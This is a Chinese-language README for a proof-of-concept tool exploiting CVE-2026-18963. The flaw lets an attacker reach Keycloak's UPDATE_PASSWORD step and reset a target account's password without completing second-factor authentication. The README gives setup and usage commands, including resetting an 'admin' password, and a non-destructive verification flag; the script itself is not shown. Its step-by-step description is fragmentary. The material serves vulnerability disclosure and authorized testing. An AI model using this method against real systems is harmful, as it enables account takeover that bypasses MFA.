针对 CVE-2026-18963 的概念验证,该漏洞存在于 Keycloak 的“忘记密码”/凭据选择流程中,攻击者可借此到达 UPDATE_PASSWORD 步骤——并重置目标账户的密码——而无需正确完成所需的身份验证(例如,无需有效的 OTP/第二因素)。
该脚本完全通过 HTTP 驱动整个流程(无需浏览器/Selenium),具体步骤如下:
tryAnotherWay。startSessionPolling() 重启 URL,Keycloak UI 使用该 URL 保持认证会话存活。UPDATE_PASSWORD。本工具仅用于经授权的安全测试与研究(您受委托执行的渗透测试、CTF、您自己的实验环境,或协调漏洞披露)。对您不拥有或未获得明确书面授权进行测试的系统运行该工具属于违法行为。作者和贡献者不对因使用本工具造成的滥用或损害承担任何责任。
当仅需证明漏洞存在时,可使用 --stop-at-update-password 生成非破坏性验证(到达 UPDATE_PASSWORD 而不提交新密码)。
requestsbeautifulsoup4git clone <this-repo-url>
cd POC
python -m venv .venv
source .venv/bin/activate # on Windows: .venv\Scripts\activate
pip install -r requirements.txt
python poc_cve_2026_18963_terminal.py \
--base-url http://localhost:8080 \
--realm master \
--client-id account \
--username admin \
--new-password "NewPassword123!"
| Flag | Default | Description |
|---|---|---|
--base-url | http://localhost:8080 | 目标 Keycloak 实例的基础 URL |
--realm | master | 目标领域 |
--client-id | account | 用于发起登录流程的 OIDC 客户端 ID |
--username | admin | 目标用户名 |
--new-password | (必填) | 要为目标账户设置的新密码 |
--stop-at-update-password | off | 一旦到达 UPDATE_PASSWORD 即停止,不提交新密码(非武器化验证) |
--timeout | 10.0 | HTTP 请求超时时间(秒) |
--output-dir | debug_http | 用于保存每个中间 HTML 响应以供调试的目录 |
--insecure | off | 禁用 TLS 证书验证 |
python poc_cve_2026_18963_terminal.py \
--base-url https://target.example.com \
--realm myrealm \
--username victim \
--new-password unused \
--stop-at-update-password
每个中间 HTTP 响应都会以 01_login.html、02_reset.html ... 的形式保存到 --output-dir(默认 debug_http)目录中,供离线审查。脚本成功时退出码为 0,失败时为 1,并将进度和诊断信息打印到 stdout。
Aurélien LOIE